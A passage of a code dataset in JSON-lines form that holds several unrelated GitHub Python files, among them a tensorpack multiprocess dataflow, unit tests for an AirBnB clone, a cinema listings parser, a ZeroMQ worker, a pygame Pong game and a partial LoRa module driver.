-> datapoint | None\n buffer_size (int): number of datapoints in the buffer\n \"\"\"\n super(MultiProcessMapDataZMQ, self).__init__(ds)\n self.nr_proc = nr_proc\n self.map_func = map_func\n self.buffer_size = buffer_size\n self._procs = []\n self._guard = DataFlowReentrantGuard()\n\n def _reset_once(self):\n self.context = zmq.Context()\n self.socket = self.context.socket(zmq.ROUTER)\n self.socket.set_hwm(self.buffer_size * 2)\n pipename = _get_pipe_name('dataflow-map')\n _bind_guard(self.socket, pipename)\n\n self._proc_ids = [u'{}'.format(k).encode('utf-8') for k in range(self.nr_proc)]\n worker_hwm = int(self.buffer_size * 2 // self.nr_proc)\n self._procs = [MultiProcessMapDataZMQ._Worker(\n self._proc_ids[k], self.map_func, pipename, worker_hwm)\n for k in range(self.nr_proc)]\n\n self.ds.reset_state()\n self._iter = self.ds.get_data()\n self._iter_worker = _repeat_iter(lambda: iter(self._proc_ids))\n\n self._start_processes()\n self._fill_buffer()\n\n def _fill_buffer(self):\n # Filling the buffer.\n try:\n for _ in range(self.buffer_size):\n self._send(next(self._iter))\n except StopIteration:\n logger.error(\"[MultiProcessMapData] buffer_size cannot be larger than the size of the DataFlow!\")\n raise\n\n def _send(self, dp):\n # round-robin assignment\n worker = next(self._iter_worker)\n msg = [worker, dumps(dp)]\n self.socket.send_multipart(msg, copy=False)\n\n def _recv(self):\n msg = self.socket.recv_multipart(copy=False)\n dp = loads(msg[1].bytes)\n return dp\n\n def get_data(self):\n with self._guard, _zmq_catch_error('MultiProcessMapData'):\n for dp in self._iter:\n self._send(dp)\n yield self._recv()\n\n self._iter = self.ds.get_data() # refresh\n for _ in range(self.buffer_size):\n self._send(next(self._iter))\n yield self._recv()\n\n\nMultiProcessMapData = MultiProcessMapDataZMQ # alias\n\n\nif __name__ == '__main__':\n class Zero(DataFlow):\n def __init__(self, size):\n self._size = size\n\n def get_data(self):\n for k in range(self._size):\n yield [0]\n\n def size(self):\n return self._size\n\n ds = Zero(300)\n ds = MultiProcessMapData(ds, 3, lambda x: [x[0] + 1])\n ds.reset_state()\n for k in ds.get_data():\n print(\"Bang!\", k)\n print(\"END!\")\n","repo_name":"lingjiekong/CS234Project","sub_path":"code/tensorpack-master/tensorpack/dataflow/prefetch.py","file_name":"prefetch.py","file_ext":"py","file_size_in_byte":20067,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"42164420324","text":"#!/usr/bin/python3\n\"\"\"defines unittests models/engine/file_storage.py.\n\nunittest classes:\n TestFileStorage_yinstantiation\n TestFileStorage_ymethods\n\"\"\"\nimport os\nimport json\nimport models\nimport unittest\nfrom datetime import datetime\nfrom models.base_model import BaseModel\nfrom models.engine.file_storage import FileStorage\nfrom models.user import User\nfrom models.state import State\nfrom models.place import Place\nfrom models.city import City\nfrom models.amenity import Amenity\nfrom models.review import Review\n\n\nclass TestFileStorage_yinstantiation(unittest.TestCase):\n \"\"\"unittests for testin instantiation FileStorage class.\"\"\"\n\n def test_FileStorage_yinstantiation_no_args(self):\n self.assertEqual(type(FileStorage()), FileStorage)\n\n def test_FileStorage_yinstantiation_with_arg(self):\n with self.assertRaises(TypeError):\n FileStorage(None)\n\n def test_FileStorage_yfile_path_is_private_str(self):\n self.assertEqual(str, type(FileStorage._FileStorage__file_path))\n\n def test_FileStorage_yobjects_is_private_dict(self):\n self.assertEqual(dict, type(FileStorage._FileStorage__objects))\n\n def test_storage_yinitializes(self):\n self.assertEqual(type(models.storage), FileStorage)\n\n\nclass TestFileStorage_ymethods(unittest.TestCase):\n \"\"\"unittests for testing methods of the FileStorage class.\"\"\"\n\n @classmethod\n def setUp(self):\n try:\n os.rename(\"file.json\", \"tmp\")\n except IOError:\n pass\n\n @classmethod\n def tearDown(self):\n try:\n os.remove(\"file.json\")\n except IOError:\n pass\n try:\n os.rename(\"tmp\", \"file.json\")\n except IOError:\n pass\n FileStorage._FileStorage__objects = {}\n\n def test_all_y(self):\n self.assertEqual(dict, type(models.storage.all()))\n\n def test_all_ywith_arg(self):\n with self.assertRaises(TypeError):\n models.storage.all(None)\n\n def test_new_y(self):\n ybm = BaseModel()\n yus = User()\n yst = State()\n ypl = Place()\n ycy = City()\n yam = Amenity()\n yrv = Review()\n models.storage.new(ybm)\n models.storage.new(yus)\n models.storage.new(yst)\n models.storage.new(ypl)\n models.storage.new(ycy)\n models.storage.new(yam)\n models.storage.new(yrv)\n self.assertIn(\"BaseModel.\" + ybm.id, models.storage.all().keys())\n self.assertIn(ybm, models.storage.all().values())\n self.assertIn(\"User.\" + yus.id, models.storage.all().keys())\n self.assertIn(yus, models.storage.all().values())\n self.assertIn(\"State.\" + yst.id, models.storage.all().keys())\n self.assertIn(yst, models.storage.all().values())\n self.assertIn(\"Place.\" + ypl.id, models.storage.all().keys())\n self.assertIn(ypl, models.storage.all().values())\n self.assertIn(\"City.\" + ycy.id, models.storage.all().keys())\n self.assertIn(ycy, models.storage.all().values())\n self.assertIn(\"Amenity.\" + yam.id, models.storage.all().keys())\n self.assertIn(yam, models.storage.all().values())\n self.assertIn(\"Review.\" + yrv.id, models.storage.all().keys())\n self.assertIn(yrv, models.storage.all().values())\n\n def test_new_ywith_args(self):\n with self.assertRaises(TypeError):\n models.storage.new(BaseModel(), 1)\n\n def test_new_ywith_None(self):\n # This test checks if an AttributeError is raised\n # This test checks if an AttributeError raised\n with self.assertRaises(AttributeError):\n models.storage.new(None)\n\n def test_save_y(self):\n ybm = BaseModel()\n yus = User()\n yst = State()\n ypl = Place()\n ycy = City()\n yam = Amenity()\n yrv = Review()\n models.storage.new(ybm)\n models.storage.new(yus)\n models.storage.new(yst)\n models.storage.new(ypl)\n models.storage.new(ycy)\n models.storage.new(yam)\n models.storage.new(yrv)\n models.storage.save()\n ysave_text = \"\"\n with open(\"file.json\", \"r\") as f:\n ysave_text = f.read()\n self.assertIn(\"BaseModel.\" + ybm.id, ysave_text)\n self.assertIn(\"User.\" + yus.id, ysave_text)\n self.assertIn(\"State.\" + yst.id, ysave_text)\n self.assertIn(\"Place.\" + ypl.id, ysave_text)\n self.assertIn(\"City.\" + ycy.id, ysave_text)\n self.assertIn(\"Amenity.\" + yam.id, ysave_text)\n self.assertIn(\"Review.\" + yrv.id, ysave_text)\n\n def test_save_ywith_arg(self):\n with self.assertRaises(TypeError):\n models.storage.save(None)\n\n def test_reload_y(self):\n ybm = BaseModel()\n yus = User()\n yst = State()\n ypl = Place()\n ycy = City()\n yam = Amenity()\n yrv = Review()\n models.storage.new(ybm)\n models.storage.new(yus)\n models.storage.new(yst)\n models.storage.new(ypl)\n models.storage.new(ycy)\n models.storage.new(yam)\n models.storage.new(yrv)\n models.storage.save()\n models.storage.reload()\n yobjs = FileStorage._FileStorage__objects\n self.assertIn(\"BaseModel.\" + ybm.id, yobjs)\n self.assertIn(\"User.\" + yus.id, yobjs)\n self.assertIn(\"State.\" + yst.id, yobjs)\n self.assertIn(\"Place.\" + ypl.id, yobjs)\n self.assertIn(\"City.\" + ycy.id, yobjs)\n self.assertIn(\"Amenity.\" + yam.id, yobjs)\n self.assertIn(\"Review.\" + yrv.id, yobjs)\n\n def test_reload_ywith_arg(self):\n with self.assertRaises(TypeError):\n models.storage.reload(None)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"sabrallah/AirBnB_clone","sub_path":"tests/test_models/test_engine/test_file_storage.py","file_name":"test_file_storage.py","file_ext":"py","file_size_in_byte":5749,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"72947173042","text":"from sklearn.model_selection import GridSearchCV\nfrom train_scikit_interface import TfEstimator\n\n\n# Set the parameters by cross-validation\ntuned_parameters = [{'kernel': ['rbf'], 'gamma': [1e-3, 1e-4],\n 'C': [1, 10, 100, 1000]},\n {'kernel': ['linear'], 'C': [1, 10, 100, 1000]}]\n\nscores = ['precision', 'recall']\n\nfor score in scores:\n print(\"# Tuning hyper-parameters for %s\" % score)\n print()\n\n fake_input_output = [None]*3\n clf = GridSearchCV(TfEstimator(), tuned_parameters)\n clf.fit(fake_input_output, fake_input_output)\n\n print(\"Best parameters set found on development set:\")\n print()\n print(clf.best_params_)\n print()\n print(\"Grid scores on development set:\")\n print()\n means = clf.cv_results_['mean_test_score']\n stds = clf.cv_results_['std_test_score']\n for mean, std, params in zip(means, stds, clf.cv_results_['params']):\n print(\"%0.3f (+/-%0.03f) for %r\"\n % (mean, std * 2, params))\n","repo_name":"shinglyu/NativeSnail","sub_path":"model_selection.py","file_name":"model_selection.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"73708430962","text":"from unittest.mock import Mock, call\nfrom pigauth._parser import PermissionExpressionParser, ModifierParser, PatternParser, PermissionGrantParser, PermissionGrantsParser\nfrom pigauth._matcher import RegexMatcher, AnyMatcher, RequiresMatcher, AllMatcher\n\nclass TestExpressionParser:\n\n def test_init_should_create_default_parsers_not_passed(self):\n # Given\n # When\n parser = PermissionExpressionParser()\n # Then\n assert isinstance(parser._modifier_parser, ModifierParser)\n assert isinstance(parser._pattern_parser, PatternParser)\n\n\n def test_init_should_use_passed_values(self):\n # Given\n modifier_parser = Mock()\n pattern_parser = Mock()\n # When\n parser = PermissionExpressionParser(pattern_parser, modifier_parser)\n # Then\n assert parser._modifier_parser is modifier_parser\n assert parser._pattern_parser is pattern_parser\n\n def test_call_should_parse_expression_and_yield_pattern_matchers_and_modifier_matchers(self):\n # Given\n pattern_parser = Mock()\n expected_pattern_matcher = Mock()\n pattern_parser.return_value = iter([expected_pattern_matcher])\n modifier_parser = Mock()\n expected_modifier_matcher = Mock()\n modifier_parser.return_value = iter([expected_modifier_matcher])\n parser = PermissionExpressionParser(pattern_parser, modifier_parser)\n # When\n matchers = list(parser(\"pattern|modifier\"))\n # Then\n pattern_parser.assert_called_once_with(\"pattern\")\n modifier_parser.assert_called_once_with(\"modifier\")\n assert matchers == [expected_pattern_matcher, expected_modifier_matcher]\n\n\nclass TestPatternParser:\n def test_call_should_return_regex_pattern_matcher(self):\n parser = PatternParser()\n (matcher,) = parser('canteen.eat.*')\n assert isinstance(matcher, RegexMatcher)\n assert matcher.regex.pattern == r'canteen\\.eat\\..*'\n\n\nclass TestModifierParser:\n def test_call_should_yield_RequiresMatcher_as_first_matcher(self):\n # Given\n factory = Mock()\n factory.return_value = None\n parser = ModifierParser(factory)\n # When\n (matcher,) = list(parser('a,b,c'))\n # Then\n assert isinstance(matcher, RequiresMatcher)\n assert matcher.modifier_names == ['a', 'b', 'c']\n\n\n def test_call_should_yield_modifiers_from_factory_skipping_none(self):\n # Given\n factory = Mock()\n matcher_1 = Mock()\n matcher_2 = Mock()\n factory.side_effect = [matcher_1, None, matcher_2]\n parser = ModifierParser(factory)\n # When\n matchers = list(parser('a,b,c'))\n # Then\n factory.assert_has_calls((call('a'), call('b'), call('c')))\n assert matchers[1:] == [matcher_1, matcher_2]\n\n def test_call_should_yield_AnyMatcher_for_alternatives(self):\n # Given\n factory = Mock()\n matcher_1 = Mock()\n matcher_2 = Mock()\n factory.side_effect = [matcher_1, None, matcher_2]\n parser = ModifierParser(factory)\n # When\n (_, matcher,) = list(parser('a+b+c'))\n # Then\n factory.assert_has_calls((call('a'), call('b'), call('c')))\n assert isinstance(matcher, AnyMatcher)\n assert matcher.matchers == [matcher_1, matcher_2]\n\n\nclass TestPermissionGrantParser:\n def test_call_should_return_AllMatcher_for_multiple_parsed_matchers(self):\n # Given\n expression_parser = Mock()\n matcher = Mock()\n expression_parser.return_value = [matcher, matcher]\n grant_parser = PermissionGrantParser(expression_parser)\n # When\n actual_matcher = grant_parser('kiss.me')\n # Then\n assert isinstance(actual_matcher, AllMatcher)\n assert actual_matcher.matchers == [matcher, matcher]\n\n def test_call_should_return_parsed_matcher_for_single_parsed_matcher(self):\n # Given\n expression_parser = Mock()\n matcher = Mock()\n expression_parser.return_value = [matcher]\n grant_parser = PermissionGrantParser(expression_parser)\n # When\n actual_matcher = grant_parser('kiss.me')\n # Then\n assert actual_matcher is matcher\n\nclass TestPermissionGrantsParser:\n def test_call_should_return_AnyMatcher_with_matcher_for_any_grant(self):\n # Given\n permission_grant_parser = Mock()\n matcher1 = Mock()\n matcher2 = Mock()\n permission_grant_parser.side_effect = [matcher1, matcher2]\n parser = PermissionGrantsParser(permission_grant_parser)\n # When\n actual_matcher = parser(['eat.meat', 'eat.fruit'])\n # Then\n assert isinstance(actual_matcher, AnyMatcher)\n actual_matcher.matchers == [matcher1, matcher2]\n","repo_name":"ivangeorgiev/pigauth","sub_path":"tests/test_parser.py","file_name":"test_parser.py","file_ext":"py","file_size_in_byte":4796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"44063705583","text":"import glob\nimport itertools\nimport json\n\nfrom bs4 import BeautifulSoup\nfrom parsimonious.grammar import Grammar\n\n\nSHOWINGS_GRAMMAR = Grammar(\n\"\"\"\nshowings = showing (\";\" whitespace showing)*\nshowing = day_expression? (whitespace? time_expression)+\nday_expression = day_or_day_range (\"/\" day_or_day_range)*\nday_or_day_range = day (\"-\" day)?\nday = ~\"Mon|Tue|Wed|Thu|Fri|Sat|Sun\"\ntime_expression = time (whitespace time_qualifier)?\ntime_qualifier = \"(\" day_expression \")\"\ntime = ~\"[0-2]?[0-9]:[0-5][0-9]\"\nwhitespace = ~\"\\s+\"\n\"\"\"\n)\n\nDAYS = [\"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\", \"Sat\", \"Sun\"]\n\n\ndef extract_cinema(html):\n return html.title.text.replace(\n ' Cinema - London - Listings and Film Reviews',\n ''\n )\n\n\ndef extract_raw_showings(html):\n nodes = html.select('#cin_starting_thisweek .venuefilmbloc')\n\n return [\n {'title': n.find('a').text, 'times': n.find('span').text}\n for n in nodes\n ]\n\n\ndef expand_day_range(start_day, end_day):\n i = DAYS.index(start_day)\n j = DAYS.index(end_day)\n\n if i < j:\n return DAYS[i:j+1]\n else:\n return DAYS[i:len(DAYS)] + DAYS[0:j+1]\n\n\ndef parse_showings(time_str):\n ast = SHOWINGS_GRAMMAR.parse(time_str)\n\n result = []\n node_stack = [ast]\n\n # context variables\n times = []\n days = []\n\n time_qualifier = []\n in_showing = False\n in_time_qualifier = False\n\n while len(node_stack) != 0:\n n = node_stack.pop()\n\n if n.expr_name == 'time':\n if time_qualifier:\n times.append((n.text, time_qualifier))\n time_qualifier = []\n else:\n times.append((n.text, []))\n elif n.expr_name == 'time_qualifier':\n if in_time_qualifier:\n in_time_qualifier = False\n else:\n in_time_qualifier = True\n\n node_stack.append(n)\n\n for child in n:\n node_stack.append(child)\n\n elif n.expr_name == 'day_or_day_range':\n if '-' in n.text:\n day_values = expand_day_range(*(n.text.split('-')))\n else:\n day_values = [n.text]\n\n if in_time_qualifier:\n time_qualifier += day_values\n else:\n days += day_values\n elif n.expr_name == 'showing':\n if in_showing:\n in_showing = False\n\n if not days:\n days = DAYS\n\n result += [\n {'day': day, 'time': time[0]}\n for (day, time) in itertools.product(days, times)\n if not time[1] or day in time[1]\n ]\n else:\n times = []\n days = []\n in_showing = True\n\n # Push the showing node back onto the stack so we process all\n # the child day / time nodes before collecting into results\n node_stack.append(n)\n\n for child in n:\n node_stack.append(child)\n else:\n for child in n:\n node_stack.append(child)\n\n return result\n\n\ndef clean_title(raw_title):\n raw_title.replace(' + Q&A', '').replace(' (Subtitled)', ''),replace(\n ' (Parent and Baby Screening)', ''\n )\n\n\ndef iterate_over_showings(html):\n cinema = extract_cinema(html)\n showings = extract_raw_showings(html)\n\n for s in showings:\n times = parse_showings(s['times'])\n\n for t in times:\n t['title'] = s['title'].replace(' + Q&A', '')\n t['cinema'] = cinema\n yield t\n\n\nif __name__ == '__main__':\n\n for path in glob.glob('downloads/*.html'):\n with open(path, 'r') as fh:\n html = BeautifulSoup(fh.read(), 'lxml')\n\n for s in iterate_over_showings(html):\n print(json.dumps(s))\n","repo_name":"knaveofdiamonds/filmlist","sub_path":"parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":3866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18923850741","text":"import zmq\n\ncontext = zmq.Context()\n\n# socket para fazer o pull do payload\nsender_socket = context.socket(zmq.PULL)\nsender_socket.connect(\"tcp://127.0.0.1:9000\")\n\n# socket para fazer o push do resultado\nresults_socket = context.socket(zmq.PUSH)\nresults_socket.connect(\"tcp://127.0.0.1:9001\")\n\nwhile True:\n payload = sender_socket.recv_json()\n lines = payload.pop(\"lines\")\n batch_id = payload[\"batch_id\"]\n total_lines = payload[\"total_lines\"]\n numbers = []\n for line in lines:\n line_numbers = [int(n) for n in line.split()]\n for number in line_numbers:\n numbers.append(number)\n payload[\"sum\"] = sum(numbers)\n payload[\"lines_processed\"] = len(lines)\n results_socket.send_json(payload)\n print(f'returned: {payload}')\n","repo_name":"zanfranceschi/desafio-03-processamento_distribuido","sub_path":"python/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"75"} +{"seq_id":"71789586161","text":"\"\"\"\nLevel : Function\nDec : \nCreated on : 2017.03.06\nAuthor : Iflier\n\"\"\"\nprint(__doc__)\n\nimport sys\nimport time\nimport serial\n\nflag = True\n\nport = \"/dev/ttyACM0\"\ntry:\n arduino = serial.Serial(port, 115200, timeout=5)\n print(\"Connect to Arduino Succeed! :)\")\nexcept:\n print(\"Connect to Port {0} failed :(\".format(port))\n sys.exit(1)\n\nwhile flag:\n try:\n byte_counter = arduino.write(\"L\".encode('utf-8'))\n\n print(\"Number of byte(s) write: {0}\".format(byte_counter))\n time.sleep(0.01)\n returned = arduino.read()\n # print(returned)\n print(\"Returned from arduino {0}\".format(returned.decode('utf-8')))\n except KeyboardInterrupt:\n flag = False\narduino.close()\n","repo_name":"Iflier/send_char2Ardu","sub_path":"send2Arduino.py","file_name":"send2Arduino.py","file_ext":"py","file_size_in_byte":722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73910203123","text":"import pygame, sys\r\nfrom pygame.locals import *\r\nimport random\r\nfrom time import sleep\r\n\r\n#A Game that I created to test out my bluetooth arduino controller with the raspberry pi 'console'\r\n#I didnt implement the random hit feature for the pong game, just a simple follow on the ball\r\nclass Ball:\r\n\r\n def __init__(self, surface, color, radius):\r\n \r\n self.surface = surface\r\n self.color = color\r\n self.radius = radius\r\n self.x = WIDTH / 2\r\n self.y = HEIGHT / 2\r\n \r\n self.dx = 0#change in x\r\n self.dy = 0#change in y\r\n self.speedx = 3#how fast ball is going\r\n self.speedy = 3#how fast ball is going\r\n\r\n #collision detection variables for player\r\n self.collisiony = False\r\n self.collisionx = False\r\n self.collision_paddle = False\r\n \r\n #collision detection variables for bot\r\n self.collision_bot = False\r\n self.collision_botx = False\r\n self.collision_boty = False\r\n\r\n #score\r\n self.player = 0 #score of player\r\n self.bot = 0 #score of bot\r\n self.scored = False\r\n\r\n \r\n pygame.draw.circle(self.surface, self.color, (int(self.x) , int(self.y)), self.radius, 0)\r\n\r\n def move(self, paddle_p1x, paddle_p1y, paddle_botx, paddle_boty):\r\n #collision possibilities with movements\r\n self.collision_paddle = paddle_p1x >= self.x-self.dx and (paddle_p1y<= self.y-self.dy and paddle_p1y + 100 >= self.y-self.dy)\r\n self.collision_bot = paddle_botx <= self.x - self.dx and (paddle_boty <= self.y - self.dy and paddle_boty + 100 >= self.y - self.dy)\r\n \r\n if(self.scored == False):\r\n if(self.y - self.dy >= HEIGHT or self.y-self.dy <= 0 or self.collision_paddle or self.collision_bot):\r\n self.collisiony = True #collision on\r\n if(self.collision_paddle == True):\r\n self.collisionx = True\r\n if(self.collision_bot == True):\r\n self.collision_botx = True\r\n if(self.collisiony == True and self.collision_botx == False and self.collisionx == False):\r\n pygame.mixer.Sound('sounds/wall_hit.wav').play()\r\n if(self.y - self.dy >0 and self.y + self.dy paddle_botx ):\r\n self.player+= 1\r\n self.dx = 0\r\n self.dy = 0\r\n pygame.mixer.Sound('sounds/paddle_miss.wav').play()\r\n pygame.time.wait(3000)\r\n \r\n #paddle collision\r\n #win condition\r\n pygame.draw.circle(self.surface, self.color, (int(self.x - self.dx) , int(self.y - self.dy)), self.radius, 0)\r\n def scored_point(self):\r\n return {'player': self.player, 'bot': self.bot}\r\n \r\n \r\n def ball_positionx(self):\r\n return self.x - self.dx\r\n\r\n def ball_positiony(self):\r\n return self.y - self.dy\r\n\r\nclass Pong_P1:\r\n\r\n def __init__(self,surface,color,y_pos):\r\n\r\n self.surface = surface\r\n self.color = color\r\n self.x = 10\r\n self.y = HEIGHT/2.7\r\n self.thick = 20\r\n self.length = 100\r\n self.y_pos = y_pos;\r\n self.dy = 0;\r\n pygame.draw.rect(self.surface, self.color, (self.x, self.y, self.thick, self.length))\r\n\r\n def move(self, direction = 'idle'):\r\n if(direction == 'down'):\r\n if(self.y + self.dy + self.length < HEIGHT):\r\n self.dy += 10\r\n pygame.draw.rect(self.surface, self.color, (self.x, self.y + self.dy, self.thick, self.length))\r\n elif(direction == 'up'):\r\n if(self.y + self.dy > 0):\r\n self.dy -= 10\r\n pygame.draw.rect(self.surface, self.color, (self.x, self.y + self.dy, self.thick, self.length))\r\n elif(direction == 'idle'):\r\n pygame.draw.rect(self.surface, self.color, (self.x, self.y + self.dy, self.thick, self.length))\r\n \r\n def paddle_posx(self):\r\n return self.x + self.thick + 5\r\n\r\n def paddle_posy(self):\r\n return self.y+ self.dy\r\n \r\n \r\nclass Pong_AI:\r\n\r\n def __init__(self,surface,color):\r\n\r\n self.surface = surface\r\n self.color = color\r\n self.x = 570\r\n self.y = HEIGHT/2.7\r\n self.thick = 20\r\n self.length = 100\r\n self.dy = 0\r\n self.speed = 2\r\n\r\n pygame.draw.rect(self.surface, self.color, (self.x, self.y, self.thick, self.length))\r\n\r\n def follow_ball(self, ball_y):\r\n if(self.y + self.dy +self.length/2<= ball_y):\r\n if(self.y - self.dy > 0):\r\n self.dy += self.speed\r\n if(self.y + self.dy + self.length / 2 >= ball_y):\r\n if(self.y - self.dy < HEIGHT - self.length):\r\n self.dy -= self.speed\r\n pygame.draw.rect(self.surface, self.color, (int(self.x), int(self.y+self.dy), self.thick, self.length))\r\n def bot_posx(self):\r\n return WIDTH - self.thick -10\r\n \r\n def bot_posy(self):\r\n return self.dy + self.y\r\n \r\n################# Initial setup\r\npygame.init()\r\npygame.font.init()\r\npygame.mixer.init()\r\n\r\n\r\n#Set text font\r\nmyfont = pygame.font.SysFont('Comic Sans MS', 15)\r\n\r\n#set display\r\nHEIGHT = 400\r\nWIDTH = 600\r\nCOLOR = (0 , 0, 0) #Black Color\r\n\r\nDISPLAY = pygame.display.set_mode((WIDTH, HEIGHT))\r\nDISPLAY.fill(COLOR)\r\n\r\n#Create Ball\r\n\r\nBALL_COLOR = (255, 255, 255)\r\nBALL_RADIUS = 10\r\nPONG_COLOR = BALL_COLOR\r\nPONG_WIDTH = 10\r\nPONG_HEIGHT = 40\r\nYPOS = 500\r\n\r\nclock = pygame.time.Clock()\r\nplayer1 = Pong_P1(DISPLAY,PONG_COLOR, YPOS)\r\nthe_bot = Pong_AI(DISPLAY,PONG_COLOR)\r\nthe_ball = Ball(DISPLAY,BALL_COLOR, BALL_RADIUS)\r\nold_k_delay, old_k_interval = pygame.key.get_repeat ()\r\npygame.key.set_repeat (50, 30)\r\n## game is running\r\nwhile True:\r\n Pong_AI(DISPLAY,PONG_COLOR)\r\n player_positionx = player1.paddle_posx()\r\n player_positiony = player1.paddle_posy()\r\n ball_position = the_ball.ball_positiony()\r\n bot_posx = the_bot.bot_posx()\r\n bot_posy = the_bot.bot_posy()\r\n player_score = the_ball.scored_point()\r\n p1_score = myfont.render('PLAYER SCORE: '+str(player_score['player']), False, (255,255,255))\r\n bot_score = myfont.render('BOT SCORE: '+str(player_score['bot']), False, (255, 255, 255))\r\n for event in pygame.event.get():\r\n if event.type == QUIT:\r\n pygame.quit()\r\n sys.exit()\r\n elif event.type == KEYDOWN:#some key has been pressed, not necessarily down arrow lol\r\n if(event.key == K_DOWN):\r\n player1.move('down')\r\n elif(event.key == K_UP):\r\n player1.move('up')\r\n DISPLAY.fill(COLOR)\r\n DISPLAY.blit(p1_score,(WIDTH/5 , 0))\r\n DISPLAY.blit(bot_score,(0.6* WIDTH , 0))\r\n pygame.draw.rect(DISPLAY, (255,255,255), (WIDTH/2, 0, 10, WIDTH))\r\n the_ball.move(player_positionx, player_positiony,bot_posx, bot_posy)\r\n the_bot.follow_ball(ball_position)\r\n player1.move()\r\n clock.tick(50)\r\n pygame.display.flip()\r\npygame.key.set_repeat (old_k_delay, old_k_interval)\r\n","repo_name":"ianhuezo/pong_game","sub_path":"pong.py","file_name":"pong.py","file_ext":"py","file_size_in_byte":8618,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"8231275437","text":"def max_val_index(arr):\r\n max_val = arr[0]\r\n max_val_ind = 0\r\n\r\n for i in range(len(arr)):\r\n num = arr[i]\r\n if isinstance(num, (int, float, complex)):\r\n if num >= max_val:\r\n max_val = num\r\n max_val_ind = i\r\n return max_val_ind\r\n\r\n\r\ndef find_confidence_ind(outputs, max_ind):\r\n total = 0\r\n for i in range(len(outputs)):\r\n if isinstance(outputs[i], (int, float, complex)):\r\n total += outputs[i]\r\n return outputs[max_ind] / total * 100\r\n","repo_name":"anirudh-munipalli/PyGradient","sub_path":"NeuralNetwork/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26753590624","text":"from melc import DifferentialAnalysis_MultipleProteinProfiles\nimport argparse\n\n\ndef _get_parser():\n parser = argparse.ArgumentParser()\n parser.add_argument('adata_pickle_path', type=str, help='Please specify path to anndata pickle data!')\n parser.add_argument('dependent_variable_name', type=str, help='Please specify the name of the dependent variable. Note: The aforementioned variable should be present under observation metadata (obsm) of the anndata onject containing gene/ protein expression.')\n parser.add_argument('--N', type=int, default=2, help='Please specify number of proteins to be analyzed within protein profile.')\n parser.add_argument('--threshold', type=float, default=0.5, help='Please specify minimum value over which protein expressions are considered for further analyses.')\n return parser\n\n\nif __name__ == '__main__':\n args = _get_parser().parse_args()\n DifferentialAnalysis_MultipleProteinProfiles.da_multiple_protein_profiles(args.adata_pickle_path, args.dependent_variable_name, args.N, args.threshold)\n ","repo_name":"bionetslab/TCL-project","sub_path":"6_DA_multiple_protein_profiles.py","file_name":"6_DA_multiple_protein_profiles.py","file_ext":"py","file_size_in_byte":1057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34832766215","text":"# Author: Oliv4945\n# AT commands documentation\n# https://docs.rakwireless.com/Product-Categories/WisDuo/RAK3172-Module/AT-Command-Manual/\n\nimport serial\nimport sys\nimport threading\nimport time\n\n\nclass RAK3172:\n serial = None\n STATUS_CODES = [\"OK\", \"AT_ERROR\", \"AT_PARAM_ERROR\", \"AT_BUSY_ERROR\"]\n\n class NETWORK_MODES:\n P2P = 0\n LORAWAN = 1\n\n class JOIN_MODES:\n ABP = 0\n OTAA = 1\n\n class JOIN_STATUS:\n NOT_JOINED = 0\n JOINED = 1\n\n class EVENTS:\n JOINED = 0\n SEND_CONFIRMATION = 1\n\n def __init__(self, serial_port, network_mode, verbose=False, callback_events=None):\n self.serial_port = serial_port\n self.verbose = verbose\n self.__callback_events = callback_events\n\n # Open serial port\n try:\n self.serial = serial.serial_for_url(serial_port, 9600)\n except serial.SerialException as e:\n sys.exit(\"/!\\ Yo Dukie! Port not found! Aborting.\")\n self.serial.reset_input_buffer()\n\n # Open RX thread\n self.thread_rx_handle = threading.Thread(target=self.thread_rx)\n self.data_received = threading.Event()\n self.thread_rx_ready = threading.Event()\n self.thread_rx_kill = threading.Event()\n self.thread_rx_handle.start()\n\n # Check chip presence\n if self.status() is not True:\n print(\"ERROR - Unable to detect chip\")\n exit()\n\n # Ensure network mode\n self.network_mode = network_mode\n\n def thread_rx(self):\n self.thread_rx_ready.set()\n while not self.thread_rx_kill.is_set():\n rx = self.serial.read_until(b\"\\r\\n\").decode(\"ASCII\").rstrip().upper()\n if not len(rx):\n # Drop empty lines\n continue\n self.thread_rx_ready.clear()\n if True:\n print(f\"<- {rx}\")\n if rx[0] == \"+\":\n if rx == \"+EVT:JOINED\":\n self.__callback_events(RAK3172.EVENTS.JOINED, None)\n\n if rx.startswith(\"+EVT:SEND CONFIRMED\"):\n if rx == \"+EVT:SEND CONFIRMED OK\":\n self.__callback_events(RAK3172.EVENTS.SEND_CONFIRMATION, True)\n else:\n self.__callback_events(RAK3172.EVENTS.SEND_CONFIRMATION, False)\n else:\n self.data_rx = rx\n self.data_received.set()\n time_start = time.time()\n while self.data_received.is_set():\n # Wait for data to be processed or timeout\n if time.time() > time_start + 0.1:\n # Timeout, prepare for next RX\n self.data_received.clear()\n self.data_rx = \"\"\n self.thread_rx_ready.set()\n\n @property\n def network_mode(self):\n return self.__network_mode\n\n @network_mode.setter\n def network_mode(self, network_mode):\n status, data = self.send_command(\"AT+NWM=?\")\n if status != \"OK\":\n print(\"ERROR - Unable to check network mode\")\n sys.exit(1)\n if int(data) != network_mode:\n status, _ = self.send_command(f\"AT+NWM={network_mode}\")\n if status != \"OK\":\n print(\"ERROR - Unable to set network mode\")\n sys.exit(1)\n self.__network_mode = network_mode\n\n @property\n def appkey(self):\n 